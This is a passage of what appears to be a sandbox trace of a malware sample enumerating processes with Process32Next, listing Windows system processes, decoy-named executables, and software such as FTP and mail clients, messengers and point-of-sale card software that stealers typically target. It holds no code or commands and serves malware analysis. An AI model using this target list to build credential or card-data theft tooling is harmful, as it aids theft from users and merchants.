szExeFile="csrss.exe")) returned 1 [0225.644] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.646] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.648] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.650] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.652] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.654] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.656] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.658] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.660] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.661] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.663] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.665] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.667] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.709] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.710] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0225.712] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0225.714] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.716] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.718] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0225.720] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0225.721] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0225.723] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.724] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0225.726] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0225.727] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.728] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0225.730] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0225.731] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0225.733] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0225.734] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0225.736] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0225.737] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0225.739] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0225.740] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0225.742] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0225.743] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0225.744] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0225.746] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0225.747] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0225.749] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0225.788] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0225.790] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0225.791] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0225.793] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0225.794] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0225.796] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0225.797] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0225.799] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0225.800] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0225.802] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0225.804] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0225.805] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0225.807] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0225.809] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0225.812] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0225.814] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0225.817] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0225.818] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0225.865] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0225.867] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0225.869] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0225.871] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0225.873] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0225.875] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0225.876] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0225.879] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0225.881] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0225.883] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0225.885] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0225.887] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0225.889] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0225.890] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0225.892] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0225.894] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0225.897] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0225.899] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0225.943] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0225.945] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0225.948] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0225.950] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0225.952] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0225.954] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0225.956] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0225.958] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, 